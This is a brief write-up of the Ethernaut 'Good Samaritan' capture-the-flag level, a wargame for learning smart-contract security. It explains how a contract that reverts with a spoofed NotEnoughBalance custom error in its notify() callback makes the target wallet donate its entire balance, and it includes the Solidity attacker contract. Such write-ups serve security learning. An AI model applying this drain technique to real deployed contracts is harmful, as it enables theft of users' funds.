Writeups/Ethernaut/Good Samaritan
MediumEthernaut · Ethernaut2024

Good Samaritan

Custom Error Propagation Triggers Bulk Donation

The `requestDonation()` function detects `NotEnoughBalance()` errors to trigger a fallback that donates everything. An attacker contract that reverts with `NotEnoughBalance` in its `notify()` callback causes the wallet to drain all its coins in one call.

SolidityCustom ErrorsError HandlingWallet Drain

00Overview

The `requestDonation()` function detects `NotEnoughBalance()` errors to trigger a fallback that donates everything. An attacker contract that reverts with `NotEnoughBalance` in its `notify()` callback causes the wallet to drain all its coins in one call.

01Implement INotifyable that reverts with NotEnoughBalance

javascript
error NotEnoughBalance();
contract GoodSamaritanAttack is INotifyable {
    function notify(uint256 amount) external pure override {
        if (amount == 10) revert NotEnoughBalance();
    }
    function attack(address target) external {
        GoodSamaritan(target).requestDonation();
    }
}

02Level Completed

Good Samaritan — completion screenshot 1